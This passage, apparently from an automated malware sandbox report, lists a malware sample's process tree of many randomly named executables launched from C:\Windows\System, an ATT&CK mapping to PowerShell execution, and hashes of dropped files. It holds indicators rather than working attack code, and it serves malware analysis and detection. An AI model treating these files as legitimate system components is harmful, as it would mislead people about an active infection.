  C:\Windows\System\kHBsbcb.exe
  2⤵
  PID:14128
- C:\Windows\System\LGYxYgg.exe
  C:\Windows\System\LGYxYgg.exe
  2⤵
  PID:3156
- C:\Windows\System\JeWDFwx.exe
  C:\Windows\System\JeWDFwx.exe
  2⤵
  PID:13516
- C:\Windows\System\DjItjYH.exe
  C:\Windows\System\DjItjYH.exe
  2⤵
  PID:7112
- C:\Windows\System\doTxKIi.exe
  C:\Windows\System\doTxKIi.exe
  2⤵
  PID:6924
- C:\Windows\System\IaSUhbU.exe
  C:\Windows\System\IaSUhbU.exe
  2⤵
  PID:5384
- C:\Windows\System\LsAQVWO.exe
  C:\Windows\System\LsAQVWO.exe
  2⤵
  PID:5228
- C:\Windows\System\Dqlcxyx.exe
  C:\Windows\System\Dqlcxyx.exe
  2⤵
  PID:7004
- C:\Windows\System\BLIpQng.exe
  C:\Windows\System\BLIpQng.exe
  2⤵
  PID:5820
- C:\Windows\System\ejZQaVb.exe
  C:\Windows\System\ejZQaVb.exe
  2⤵
  PID:5248
- C:\Windows\System\FQkQdbP.exe
  C:\Windows\System\FQkQdbP.exe
  2⤵
  PID:5436
- C:\Windows\System\VfTxiVN.exe
  C:\Windows\System\VfTxiVN.exe
  2⤵
  PID:7104
- C:\Windows\System\NrpxsUl.exe
  C:\Windows\System\NrpxsUl.exe
  2⤵
  PID:2732
- C:\Windows\System\jYDBFQU.exe
  C:\Windows\System\jYDBFQU.exe
  2⤵
  PID:5352
- C:\Windows\System\fIaivxB.exe
  C:\Windows\System\fIaivxB.exe
  2⤵
  PID:664
- C:\Windows\System\zIrzpnL.exe
  C:\Windows\System\zIrzpnL.exe
  2⤵
  PID:7056
- C:\Windows\System\JKIEomi.exe
  C:\Windows\System\JKIEomi.exe
  2⤵
  PID:12984
- C:\Windows\System\gxDdTfQ.exe
  C:\Windows\System\gxDdTfQ.exe
  2⤵
  PID:13320
- C:\Windows\System\kOvOHBC.exe
  C:\Windows\System\kOvOHBC.exe
  2⤵
  PID:6960
- C:\Windows\System\mTXAVhW.exe
  C:\Windows\System\mTXAVhW.exe
  2⤵
  PID:6932
- C:\Windows\System\GPSvWGY.exe
  C:\Windows\System\GPSvWGY.exe
  2⤵
  PID:5572
- C:\Windows\System\xfLzpoi.exe
  C:\Windows\System\xfLzpoi.exe
  2⤵
  PID:6440
- C:\Windows\System\mqDDetp.exe
  C:\Windows\System\mqDDetp.exe
  2⤵
  PID:7048
- C:\Windows\System\mXfXPgX.exe
  C:\Windows\System\mXfXPgX.exe
  2⤵
  PID:2108
- C:\Windows\System\LUAKqWz.exe
  C:\Windows\System\LUAKqWz.exe
  2⤵
  PID:912
- C:\Windows\System\pgoFBzg.exe
  C:\Windows\System\pgoFBzg.exe
  2⤵
  PID:5364
- C:\Windows\System\duXgMet.exe
  C:\Windows\System\duXgMet.exe
  2⤵
  PID:6916
- C:\Windows\System\VOTcTRL.exe
  C:\Windows\System\VOTcTRL.exe
  2⤵
  PID:4880
- C:\Windows\System\VneRGlU.exe
  C:\Windows\System\VneRGlU.exe
  2⤵
  PID:5776
- C:\Windows\System\TMdWPyF.exe
  C:\Windows\System\TMdWPyF.exe
  2⤵
  PID:5320
- C:\Windows\System\PlmowRJ.exe
  C:\Windows\System\PlmowRJ.exe
  2⤵
  PID:2176
- C:\Windows\System\GDIowDk.exe
  C:\Windows\System\GDIowDk.exe
  2⤵
  PID:13980
- C:\Windows\System\dssfGAS.exe
  C:\Windows\System\dssfGAS.exe
  2⤵
  PID:4532
- C:\Windows\System\pKHrxNN.exe
  C:\Windows\System\pKHrxNN.exe
  2⤵
  PID:4628
- C:\Windows\System\EShANsV.exe
  C:\Windows\System\EShANsV.exe
  2⤵
  PID:5856
- C:\Windows\System\qtuwnLJ.exe
  C:\Windows\System\qtuwnLJ.exe
  2⤵
  PID:13632
- C:\Windows\System\fEWHXdd.exe
  C:\Windows\System\fEWHXdd.exe
  2⤵
  PID:14288
- C:\Windows\System\XLTfETx.exe
  C:\Windows\System\XLTfETx.exe
  2⤵
  PID:5324
- C:\Windows\System\iFBtIrT.exe
  C:\Windows\System\iFBtIrT.exe
  2⤵
  PID:7204
- C:\Windows\System\yntXvDe.exe
  C:\Windows\System\yntXvDe.exe
  2⤵
  PID:6980
- C:\Windows\System\YFyadlX.exe
  C:\Windows\System\YFyadlX.exe
  2⤵
  PID:6060
- C:\Windows\System\DXSWaUA.exe
  C:\Windows\System\DXSWaUA.exe
  2⤵
  PID:5416
- C:\Windows\System\UImsLEB.exe
  C:\Windows\System\UImsLEB.exe
  2⤵
  PID:13388
- C:\Windows\System\iJaTUSX.exe
  C:\Windows\System\iJaTUSX.exe
  2⤵
  PID:2192
- C:\Windows\System\wwCxWha.exe
  C:\Windows\System\wwCxWha.exe
  2⤵
  PID:6768
- C:\Windows\System\IjvbAyt.exe
  C:\Windows\System\IjvbAyt.exe
  2⤵
  PID:3444
- C:\Windows\System\BxWzSkC.exe
  C:\Windows\System\BxWzSkC.exe
  2⤵
  PID:7060
- C:\Windows\System\ttZUPse.exe
  C:\Windows\System\ttZUPse.exe
  2⤵
  PID:1672
- C:\Windows\System\ZDUYzyt.exe
  C:\Windows\System\ZDUYzyt.exe
  2⤵
  PID:6140
- C:\Windows\System\rTwFhOj.exe
  C:\Windows\System\rTwFhOj.exe
  2⤵
  PID:5704
- C:\Windows\System\XYuDLnN.exe
  C:\Windows\System\XYuDLnN.exe
  2⤵
  PID:5720
- C:\Windows\System\KFTUTAS.exe
  C:\Windows\System\KFTUTAS.exe
  2⤵
  PID:7600
- C:\Windows\System\vsJOYMv.exe
  C:\Windows\System\vsJOYMv.exe
  2⤵
  PID:6688
- C:\Windows\System\NugXWik.exe
  C:\Windows\System\NugXWik.exe
  2⤵
  PID:14080
- C:\Windows\System\zBsJsFZ.exe
  C:\Windows\System\zBsJsFZ.exe
  2⤵
  PID:5600
- C:\Windows\System\NBDSqCX.exe
  C:\Windows\System\NBDSqCX.exe
  2⤵
  PID:2984
- C:\Windows\System\nZWQeMJ.exe
  C:\Windows\System\nZWQeMJ.exe
  2⤵
  PID:7136
- C:\Windows\System\gyOdYsN.exe
  C:\Windows\System\gyOdYsN.exe
  2⤵
  PID:6968
- C:\Windows\System\uYeAIcA.exe
  C:\Windows\System\uYeAIcA.exe
  2⤵
  PID:6460
- C:\Windows\System\vZhFEMf.exe
  C:\Windows\System\vZhFEMf.exe
  2⤵
  PID:14340
- C:\Windows\System\nvXxxuU.exe
  C:\Windows\System\nvXxxuU.exe
  2⤵
  PID:14368
- C:\Windows\System\RSZSQTR.exe
  C:\Windows\System\RSZSQTR.exe
  2⤵
  PID:14388
- C:\Windows\System\WXdXhyh.exe
  C:\Windows\System\WXdXhyh.exe
  2⤵
  PID:14416
- C:\Windows\System\WIRKzIF.exe
  C:\Windows\System\WIRKzIF.exe
  2⤵
  PID:14444
- C:\Windows\System\JutCOYm.exe
  C:\Windows\System\JutCOYm.exe
  2⤵
  PID:14472
- C:\Windows\System\UAzNNwZ.exe
  C:\Windows\System\UAzNNwZ.exe
  2⤵
  PID:14492
- C:\Windows\System\eASWVHR.exe
  C:\Windows\System\eASWVHR.exe
  2⤵
  PID:14520
- C:\Windows\System\LHJqUnv.exe
  C:\Windows\System\LHJqUnv.exe
  2⤵
  PID:14544
- C:\Windows\System\EjlkrWD.exe
  C:\Windows\System\EjlkrWD.exe
  2⤵
  PID:14568
- C:\Windows\System\jmZWaMH.exe
  C:\Windows\System\jmZWaMH.exe
  2⤵
  PID:14592
- C:\Windows\System\oiddYZt.exe
  C:\Windows\System\oiddYZt.exe
  2⤵
  PID:14612
- C:\Windows\System\CinWoSH.exe
  C:\Windows\System\CinWoSH.exe
  2⤵
  PID:14644
- C:\Windows\System\mfQogRB.exe
  C:\Windows\System\mfQogRB.exe
  2⤵
  PID:14664
- C:\Windows\System\bxbgoRL.exe
  C:\Windows\System\bxbgoRL.exe
  2⤵
  PID:14688
- C:\Windows\System\ZaJcUWf.exe
  C:\Windows\System\ZaJcUWf.exe
  2⤵
  PID:14728
- C:\Windows\System\inregfp.exe
  C:\Windows\System\inregfp.exe
  2⤵
  PID:14744
- C:\Windows\System\sZRxeQE.exe
  C:\Windows\System\sZRxeQE.exe
  2⤵
  PID:14760
- C:\Windows\System\BzvkukU.exe
  C:\Windows\System\BzvkukU.exe
  2⤵
  PID:14776
- C:\Windows\System\QAepgCc.exe
  C:\Windows\System\QAepgCc.exe
  2⤵
  PID:14820
- C:\Windows\System\hyMYgKK.exe
  C:\Windows\System\hyMYgKK.exe
  2⤵
  PID:14924
- C:\Windows\System\gqEUwcc.exe
  C:\Windows\System\gqEUwcc.exe
  2⤵
  PID:14960
- C:\Windows\System\zYKILve.exe
  C:\Windows\System\zYKILve.exe
  2⤵
  PID:15028
- C:\Windows\System\qsEPsbi.exe
  C:\Windows\System\qsEPsbi.exe
  2⤵
  PID:15044
- C:\Windows\System\PEpxhnf.exe
  C:\Windows\System\PEpxhnf.exe
  2⤵
  PID:15136
- C:\Windows\System\lKkXNSP.exe
  C:\Windows\System\lKkXNSP.exe
  2⤵
  PID:15168
- C:\Windows\System\sHOHPXt.exe
  C:\Windows\System\sHOHPXt.exe
  2⤵
  PID:15196
- C:\Windows\System\ihXQXRK.exe
  C:\Windows\System\ihXQXRK.exe
  2⤵
  PID:15224
- C:\Windows\System\zjnwAxI.exe
  C:\Windows\System\zjnwAxI.exe
  2⤵
  PID:15248
- C:\Windows\System\meNnMJk.exe
  C:\Windows\System\meNnMJk.exe
  2⤵
  PID:14044
- C:\Windows\System\FoRHVNQ.exe
  C:\Windows\System\FoRHVNQ.exe
  2⤵
  PID:5520
- C:\Windows\System\wOTCfMY.exe
  C:\Windows\System\wOTCfMY.exe
  2⤵
  PID:4128
- C:\Windows\System\ykIlmDd.exe
  C:\Windows\System\ykIlmDd.exe
  2⤵
  PID:13680
- C:\Windows\System\ObSMVud.exe
  C:\Windows\System\ObSMVud.exe
  2⤵
  PID:7220
- C:\Windows\System\MVGRiSl.exe
  C:\Windows\System\MVGRiSl.exe
  2⤵
  PID:7656
- C:\Windows\System\CrvTvys.exe
  C:\Windows\System\CrvTvys.exe
  2⤵
  PID:7644
- C:\Windows\System\XxMMvvN.exe
  C:\Windows\System\XxMMvvN.exe
  2⤵
  PID:14460
- C:\Windows\System\mZAigxR.exe
  C:\Windows\System\mZAigxR.exe
  2⤵
  PID:3012
- C:\Windows\System\spuwRhQ.exe
  C:\Windows\System\spuwRhQ.exe
  2⤵
  PID:7884
- C:\Windows\System\YOLkOwR.exe
  C:\Windows\System\YOLkOwR.exe
  2⤵
  PID:8152
- C:\Windows\System\BoPTjad.exe
  C:\Windows\System\BoPTjad.exe
  2⤵
  PID:15056
- C:\Windows\System\SasoMte.exe
  C:\Windows\System\SasoMte.exe
  2⤵
  PID:6844
- C:\Windows\System\hKhWnvu.exe
  C:\Windows\System\hKhWnvu.exe
  2⤵
  PID:15184
- C:\Windows\System\YZUiAAA.exe
  C:\Windows\System\YZUiAAA.exe
  2⤵
  PID:14996
- C:\Windows\System\XpvOwBy.exe
  C:\Windows\System\XpvOwBy.exe
  2⤵
  PID:15012
- C:\Windows\System\vaqQFjD.exe
  C:\Windows\System\vaqQFjD.exe
  2⤵
  PID:6828
- C:\Windows\System\FvfXBFE.exe
  C:\Windows\System\FvfXBFE.exe
  2⤵
  PID:15260
- C:\Windows\System\AkHizQl.exe
  C:\Windows\System\AkHizQl.exe
  2⤵
  PID:11148
- C:\Windows\System\PuEiDYr.exe
  C:\Windows\System\PuEiDYr.exe
  2⤵
  PID:5052
- C:\Windows\System\CjvCKSc.exe
  C:\Windows\System\CjvCKSc.exe
  2⤵
  PID:4588
- C:\Windows\System\PfLknfR.exe
  C:\Windows\System\PfLknfR.exe
  2⤵
  PID:2848
- C:\Windows\System\fZbYWgs.exe
  C:\Windows\System\fZbYWgs.exe
  2⤵
  PID:1100
- C:\Windows\System\FxAJYrF.exe
  C:\Windows\System\FxAJYrF.exe
  2⤵
  PID:15328
- C:\Windows\System\RNeJeCv.exe
  C:\Windows\System\RNeJeCv.exe
  2⤵
  PID:6168
- C:\Windows\System\ZdPGBgK.exe
  C:\Windows\System\ZdPGBgK.exe
  2⤵
  PID:5220
- C:\Windows\System\sjlbQfz.exe
  C:\Windows\System\sjlbQfz.exe
  2⤵
  PID:4716
- C:\Windows\System\sJHNkAS.exe
  C:\Windows\System\sJHNkAS.exe
  2⤵
  PID:8940
- C:\Windows\System\ejyPySF.exe
  C:\Windows\System\ejyPySF.exe
  2⤵
  PID:15092
- C:\Windows\System\GaRseeW.exe
  C:\Windows\System\GaRseeW.exe
  2⤵
  PID:7860
- C:\Windows\System\XfZOPaH.exe
  C:\Windows\System\XfZOPaH.exe
  2⤵
  PID:15220
- C:\Windows\System\PXafcVj.exe
  C:\Windows\System\PXafcVj.exe
  2⤵
  PID:14848
- C:\Windows\System\TVLdTKL.exe
  C:\Windows\System\TVLdTKL.exe
  2⤵
  PID:15040
- C:\Windows\System\hZObpYg.exe
  C:\Windows\System\hZObpYg.exe
  2⤵
  PID:6820
- C:\Windows\System\DUOrrWK.exe
  C:\Windows\System\DUOrrWK.exe
  2⤵
  PID:13804
- C:\Windows\System\WHrUuZF.exe
  C:\Windows\System\WHrUuZF.exe
  2⤵
  PID:4444
- C:\Windows\System\ZXlQKPY.exe
  C:\Windows\System\ZXlQKPY.exe
  2⤵
  PID:6040
- C:\Windows\System\lPTMpGG.exe
  C:\Windows\System\lPTMpGG.exe
  2⤵
  PID:7740
- C:\Windows\System\JpANnhN.exe
  C:\Windows\System\JpANnhN.exe
  2⤵
  PID:14376
- C:\Windows\System\VJsVnYq.exe
  C:\Windows\System\VJsVnYq.exe
  2⤵
  PID:8336
- C:\Windows\System\xuiarZi.exe
  C:\Windows\System\xuiarZi.exe
  2⤵
  PID:14932
- C:\Windows\System\cdfFbyw.exe
  C:\Windows\System\cdfFbyw.exe
  2⤵
  PID:8632
- C:\Windows\System\WLEoCUf.exe
  C:\Windows\System\WLEoCUf.exe
  2⤵
  PID:8140
- C:\Windows\System\ptUYTJs.exe
  C:\Windows\System\ptUYTJs.exe
  2⤵
  PID:14564
- C:\Windows\System\dMlvNcf.exe
  C:\Windows\System\dMlvNcf.exe
  2⤵
  PID:7276
- C:\Windows\System\gHxePPI.exe
  C:\Windows\System\gHxePPI.exe
  2⤵
  PID:6004
- C:\Windows\System\vwdCmio.exe
  C:\Windows\System\vwdCmio.exe
  2⤵
  PID:6500
- C:\Windows\System\xrFFDha.exe
  C:\Windows\System\xrFFDha.exe
  2⤵
  PID:3652
- C:\Windows\System\neSPKfS.exe
  C:\Windows\System\neSPKfS.exe
  2⤵
  PID:13652
- C:\Windows\System\wAIDIMd.exe
  C:\Windows\System\wAIDIMd.exe
  2⤵
  PID:9096
- C:\Windows\System\HLXTimI.exe
  C:\Windows\System\HLXTimI.exe
  2⤵
  PID:14632
- C:\Windows\System\GXTuNLO.exe
  C:\Windows\System\GXTuNLO.exe
  2⤵
  PID:9488
- C:\Windows\System\Zbaktrq.exe
  C:\Windows\System\Zbaktrq.exe
  2⤵
  PID:15288
- C:\Windows\System\ufGQjdF.exe
  C:\Windows\System\ufGQjdF.exe
  2⤵
  PID:6852
- C:\Windows\System\VdLIlwp.exe
  C:\Windows\System\VdLIlwp.exe
  2⤵
  PID:8704
- C:\Windows\System\LoeQlwF.exe
  C:\Windows\System\LoeQlwF.exe
  2⤵
  PID:6324
- C:\Windows\System\bMUmAsw.exe
  C:\Windows\System\bMUmAsw.exe
  2⤵
  PID:11252
- C:\Windows\System\WisRSHC.exe
  C:\Windows\System\WisRSHC.exe
  2⤵
  PID:8524
- C:\Windows\System\sPxvkpD.exe
  C:\Windows\System\sPxvkpD.exe
  2⤵
  PID:11644
- C:\Windows\System\ZWCPkcP.exe
  C:\Windows\System\ZWCPkcP.exe
  2⤵
  PID:9980
- C:\Windows\System\LYBfXiY.exe
  C:\Windows\System\LYBfXiY.exe
  2⤵
  PID:7696
- C:\Windows\System\gVamMut.exe
  C:\Windows\System\gVamMut.exe
  2⤵
  PID:312
- C:\Windows\System\nmwdGOl.exe
  C:\Windows\System\nmwdGOl.exe
  2⤵
  PID:8064
- C:\Windows\System\fNRurXk.exe
  C:\Windows\System\fNRurXk.exe
  2⤵
  PID:9004
- C:\Windows\System\WtNktno.exe
  C:\Windows\System\WtNktno.exe
  2⤵
  PID:7736
- C:\Windows\System\qvqOARp.exe
  C:\Windows\System\qvqOARp.exe
  2⤵
  PID:5760
- C:\Windows\System\Zkglgyg.exe
  C:\Windows\System\Zkglgyg.exe
  2⤵
  PID:6784
- C:\Windows\System\rltYcoi.exe
  C:\Windows\System\rltYcoi.exe
  2⤵
  PID:10208
- C:\Windows\System\JLjlfzP.exe
  C:\Windows\System\JLjlfzP.exe
  2⤵
  PID:7524
- C:\Windows\System\XOvsOhE.exe
  C:\Windows\System\XOvsOhE.exe
  2⤵
  PID:6312
- C:\Windows\System\PjtMMwf.exe
  C:\Windows\System\PjtMMwf.exe
  2⤵
  PID:3572
- C:\Windows\System\ydAlqyB.exe
  C:\Windows\System\ydAlqyB.exe
  2⤵
  PID:1260
- C:\Windows\System\vQrbXni.exe
  C:\Windows\System\vQrbXni.exe
  2⤵
  PID:10248
- C:\Windows\System\QeWBeiF.exe
  C:\Windows\System\QeWBeiF.exe
  2⤵
  PID:10644
- C:\Windows\System\bHnfBOK.exe
  C:\Windows\System\bHnfBOK.exe
  2⤵
  PID:7152
- C:\Windows\System\IOTxsyp.exe
  C:\Windows\System\IOTxsyp.exe
  2⤵
  PID:10456
- C:\Windows\System\vQOvlwf.exe
  C:\Windows\System\vQOvlwf.exe
  2⤵
  PID:14868
- C:\Windows\System\xXzJmBd.exe
  C:\Windows\System\xXzJmBd.exe
  2⤵
  PID:13756
- C:\Windows\System\cNzFZhN.exe
  C:\Windows\System\cNzFZhN.exe
  2⤵
  PID:11320
- C:\Windows\System\qbFZhpM.exe
  C:\Windows\System\qbFZhpM.exe
  2⤵
  PID:10076
- C:\Windows\System\EnLgJEr.exe
  C:\Windows\System\EnLgJEr.exe
  2⤵
  PID:14800
- C:\Windows\System\SSSwmNg.exe
  C:\Windows\System\SSSwmNg.exe
  2⤵
  PID:14608
- C:\Windows\System\CEVXSdB.exe
  C:\Windows\System\CEVXSdB.exe
  2⤵
  PID:12700
- C:\Windows\System\TMgPIeM.exe
  C:\Windows\System\TMgPIeM.exe
  2⤵
  PID:10940
- C:\Windows\System\IbZXQse.exe
  C:\Windows\System\IbZXQse.exe
  2⤵
  PID:15088
- C:\Windows\System\SpWDYgg.exe
  C:\Windows\System\SpWDYgg.exe
  2⤵
  PID:14956
- C:\Windows\System\PlZsxnc.exe
  C:\Windows\System\PlZsxnc.exe
  2⤵
  PID:14784
- C:\Windows\System\Ryemjsw.exe
  C:\Windows\System\Ryemjsw.exe
  2⤵
  PID:6124
- C:\Windows\System\YEKpGCy.exe
  C:\Windows\System\YEKpGCy.exe
  2⤵
  PID:8388
- C:\Windows\System\tyyaucD.exe
  C:\Windows\System\tyyaucD.exe
  2⤵
  PID:7612
- C:\Windows\System\Hzoeuxu.exe
  C:\Windows\System\Hzoeuxu.exe
  2⤵
  PID:11336
- C:\Windows\System\hreDzAB.exe
  C:\Windows\System\hreDzAB.exe
  2⤵
  PID:12868
- C:\Windows\System\NtWLBYh.exe
  C:\Windows\System\NtWLBYh.exe
  2⤵
  PID:15296
- C:\Windows\System\OxdKexS.exe
  C:\Windows\System\OxdKexS.exe
  2⤵
  PID:12736
- C:\Windows\System\XaydtZu.exe
  C:\Windows\System\XaydtZu.exe
  2⤵
  PID:7720
- C:\Windows\System\UaOAHWY.exe
  C:\Windows\System\UaOAHWY.exe
  2⤵
  PID:9360
- C:\Windows\System\UIaWLnk.exe
  C:\Windows\System\UIaWLnk.exe
  2⤵
  PID:11416
- C:\Windows\System\VvxXuqR.exe
  C:\Windows\System\VvxXuqR.exe
  2⤵
  PID:12896
- C:\Windows\System\qQqAAgm.exe
  C:\Windows\System\qQqAAgm.exe
  2⤵
  PID:12948
- C:\Windows\System\cOzrhXt.exe
  C:\Windows\System\cOzrhXt.exe
  2⤵
  PID:12708
- C:\Windows\System\YiFBRgj.exe
  C:\Windows\System\YiFBRgj.exe
  2⤵
  PID:3284
- C:\Windows\System\EyeseGO.exe
  C:\Windows\System\EyeseGO.exe
  2⤵
  PID:6928
- C:\Windows\System\emcxcfE.exe
  C:\Windows\System\emcxcfE.exe
  2⤵
  PID:14456
- C:\Windows\System\eFRldSt.exe
  C:\Windows\System\eFRldSt.exe
  2⤵
  PID:8628
- C:\Windows\System\eNSumLR.exe
  C:\Windows\System\eNSumLR.exe
  2⤵
  PID:7792
- C:\Windows\System\eMmyCqR.exe
  C:\Windows\System\eMmyCqR.exe
  2⤵
  PID:12856
- C:\Windows\System\MzXHAIa.exe
  C:\Windows\System\MzXHAIa.exe
  2⤵
  PID:9760
- C:\Windows\System\UWgtRGI.exe
  C:\Windows\System\UWgtRGI.exe
  2⤵
  PID:12284
- C:\Windows\System\XNyakHL.exe
  C:\Windows\System\XNyakHL.exe
  2⤵
  PID:9928
- C:\Windows\System\jypwLEl.exe
  C:\Windows\System\jypwLEl.exe
  2⤵
  PID:12960
- C:\Windows\System\BVRTfxr.exe
  C:\Windows\System\BVRTfxr.exe
  2⤵
  PID:12152
- C:\Windows\System\rPBiEwb.exe
  C:\Windows\System\rPBiEwb.exe
  2⤵
  PID:12940
- C:\Windows\System\pvzHApf.exe
  C:\Windows\System\pvzHApf.exe
  2⤵
  PID:12944
- C:\Windows\System\FXOUaot.exe
  C:\Windows\System\FXOUaot.exe
  2⤵
  PID:11408
- C:\Windows\System\pTAFDkR.exe
  C:\Windows\System\pTAFDkR.exe
  2⤵
  PID:15372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vwrc0tr3.lij.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AfpNkuX.exe

Filesize
1.1MB

MD5
5b1abbe2c42ac2f1c7d62b738b7129c1

SHA1
fa73cec6f151d5f8621fd7c4e8af76a378277a63

SHA256
cba9dab99e514dc874394e28b331ec42627fd05bac295b85037888295b4f240f

SHA512
c3a576ab305f1e8e77a7e0b4c4149de6b86aa0febcacfa3b584c2fb0a4ec9cdb552291ecdd38d463dd5a0675b20284ca9b2ea68ccc768003c562a7335775a73a

Download Submit
C:\Windows\System\BKPGZnq.exe

Filesize
1.1MB

MD5
5ebb1e7edb225a62c648a89afea695dd

SHA1
c93fe33e2d40535f4d12fcfd8ae8486931bf77ea

SHA256
399f301c56c4f248ebb74c1987996d54daf067e24a208492bdedfe57b331fe0f

SHA512
4d99ff5cb30bc8f93fcf60a0231af7b8bb4686cbd9fce64c82f53b11bc7cce812f4d1e27b60f2c8f974d60a8b4a474be753b70b8a7b639401e1fa8204b7e2848

Download Submit
C:\Windows\System\DdoLaDr.exe

Filesize
1.1MB

MD5
1d5fe4d677885b729f9e8d5f3fe88850

SHA1
ebbf477d1fcd74d3c68ee8a48235015e027c9fe9

SHA256
4e67d3fa9d9f4c1c776b41fc68c51e0dd4d538d626ef37fe031f92ecacb870f2

SHA512
1ec53188315c3e315a072bf117c709690096f9c88d8ed6ff55fea415ee35b9ae0f6f8533a055c9a504844c6d6f1605d23dd108d9883008ada9b375053135ac57

Download Submit
C:\Windows\System\DzMypva.exe

Filesize
1.1MB

MD5
8bb4b09652a7b98d4484b13ded2bdb81

SHA1
736f4760156f6a3f19281a9b5216a8905f0c00aa

SHA256
b1acb575bb2adcddfea86d9e297eba33a368427ea6997849a8a1a1c5781a277b

SHA512
19bbc155811fc18a4d32de88ccb2d0b59ae4988b07a251d105a7bf4ca14a116e6e8eb3bff851ea7e28e55dce9c5ca8724b74ffd633e946f9703b9d650869534e

Download Submit
C:\Windows\System\ElXsYdQ.exe

Filesize
1.1MB

MD5
788dee99feb6b84b617f0040b7f3ae35

SHA1
00be7e636de4a17cbd112aea0b0305d2c2cb6abd

SHA256
8c4b757414985427bd41de9f084cf486c6e7f9519e844aca763f5eeca02377d0

SHA512
6e0f799a83a0fa0c40556db602fbffdf2e693ab3a305873454b01a5904afbad45b1675fe84070b18f7a97d22541345c83ce95a1864c33c64cbe5b45d2f95f026

Download Submit
C:\Windows\System\KErbfBt.exe

Filesize
1.1MB

MD5
0b293b0039fe178423d0dfa5b0566fae

SHA1
69cdda7675a29d4ab35366757b7aafba372023ef

SHA256
11e89155494851fb5aca5a1d110a307b59abdf52f5dc4db86bba96fc8908b44b

SHA512
f433f88f96eeb99429f918f48eb812e05a9b68be930846d96220d99af77985d4eb0fdeb039b9e1062e2ef7f6860eb47cfe498e78793ac5e93cfbeb05b963e605

Download Submit
C:\Windows\System\KedLtIZ.exe

Filesize
1.1MB

MD5
210904eb63db8b1a9d016cbda06d66a0

SHA1
0e1059e6345ec00aee3f6121a418321a6fd780fc

SHA256
10fee4f382a68504cf606c3c4e3234f4a64b7e38218cc03030235694483f7310

SHA512
408a9f8eeabc954c03eb5e0909949912e81fc25aa9546301764ad5d41e59ffd79e8d0dd1887dae7402c5ac067f6a087280c73f1ebd79f974d556cb63a941b066

Download Submit
C:\Windows\System\MZtgFGw.exe

Filesize
1.1MB

MD5
2336bb417b55c127414680833edabf38

SHA1
fce36f75b76cd7c7d90c0d7920e22921d7ee0a5f

SHA256
720bc6556c6c727a3986d5a0517cc1c6790ce289db3e7a9588b23e0c4989a438

SHA512
5ff08a4550d83691fa91905fe726d841f214e7f75f12981d01268d7531fffe6813abf95a9feace7a85fc12cb0f356d59f2650bda332cc02cd1b9d36ee9568006

Download Submit
C:\Windows\System\NjwMyrh.exe

Filesize
1.1MB

MD5
1fab89d6e6d884500cbcc66b6e61e010

SHA1
96c417174541b4c0e63df76467bcc16ca4823fcc

SHA256
d433ee22ad6a0664fdabb857b811c8805a491f8c28f7495085ad4485089baf5b

SHA512
cbe49cbdcd7fe16cf991dc021a56ced7355bac59639c8c09a90bcf54d3722292b79330c525bfe30239c91dc2628dcbe537a6b0192b6703fef51ea531ef47da6a

Download Submit
C:\Windows\System\PdhyPlR.exe

Filesize
18B

MD5
9b01f0788c48bb7cc575d21f95ab7d8f

SHA1
90718a41e90a8e61e6a9806e1bb5003dda0439e1

SHA256
a9833f160a51e6749f7198a47a767b3ba8bb3940921dc933eb0c037ef76323f9

SHA512
1eca62eff6e03993eeee24f48a569bdd9d568e71b1677c5aed3633fbca3c039e8ed447469594bb18f138beb27d8f6e61eab391f6f6cd4a746c00a7200dbd3918

Download Submit
C:\Windows\System\QxcRjrs.exe

Filesize
1.1MB

MD5
41c5950ffeff8996b220fecfc373b36c

SHA1
94c50167c42fc2333d951e4dc5f28a2d164d3389

SHA256
60646969f40e6e9612c51615d7413a781c81ddb3742dc2a705d7adaa6128ca76

SHA512
40a229f6fd8a149e64115963b2ae4cec994ec5a725b5e6622af91d56fd2b70847caf9fae204b21154c3744aa46dbc2863ef6b9a70fea76a3ccae1e1aa9f911ab

Download Submit
C:\Windows\System\SQOtAhg.exe

Filesize
1.1MB

MD5
d0ad30fff62c6ebe790eaf93258e4fc6

SHA1
ae5485bf697e5191c067d4aa63e6ca71a1f58a53

SHA256
fce9277e3a0d7c682294805c729dcc6378d8d077f54d7b6f8cf77c3bff3dbcf0

SHA512
c6de297404ebf7bcb4a5033476e268dffacd7a5ac2a4c37cf459fdb8e20fe10a058e26cc2707c43e936a1e55b8ffad54a60d6286344b9eaa31562cb9d901b4db

Download Submit
C:\Windows\System\SWeWzyO.exe

Filesize
1.1MB

MD5
6700e8dd6cba472dee1579181a186541

SHA1
465b919beef0a8c8feabe4f700a30708c96c3c33

SHA256
fc33c654e761442c15a3464813565c1dfc354777fdfcda9207b33bd6c518e29c

SHA512
97ca013270dba0d1a9a5d779edbf5eed16e32eed5cb2d6c960a642acc1df96115a51fa199cbe1c7968aa42d111ae4a02f1cadc53b3dadb338c33769a7677dfde

Download Submit
C:\Windows\System\UfdGNVt.exe

Filesize
1.1MB

MD5
2c11847cea46db7880ad5495d0763f09

SHA1
3c763dcee1e88824a1c84936fbed2128cca603e2

SHA256
29aba5c2050516f6579118ddb740c84e079f624e7b0390fcf8290f923fa0b25d

SHA512
2de27baafe8b0e21d2acddfeac3bc55d59130368643f31b6d76bb2f85e32ec2bdc31ce76b176f8197f04797dfb13dc0538f4a439b631e9d9515eb86ae9c59947

Download Submit
C:\Windows\System\YyFjoTp.exe

Filesize
1.1MB

MD5
ac7f3efac187c3b15002b044ef8f2279

SHA1
8e4ad45ffd34a2351be2ecd74ee05001b2f32da5

SHA256
2957e597f20cf325534b5c2a8ad67b8a3e75a3b706957e781e4b6b3b296c4ca1

SHA512
418f5badffbbc86e390a5e1660d48fb55ce5053698c10427f5b5c5e022aad09ffd5cd8abb96ed4dba14e3155f12fe652bfc6fe6fbd78d303d02c0cc483684957

Download Submit
C:\Windows\System\aUETYaj.exe

Filesize
1.1MB

MD5
413197d083ce9b2ba91ddc087df5084b

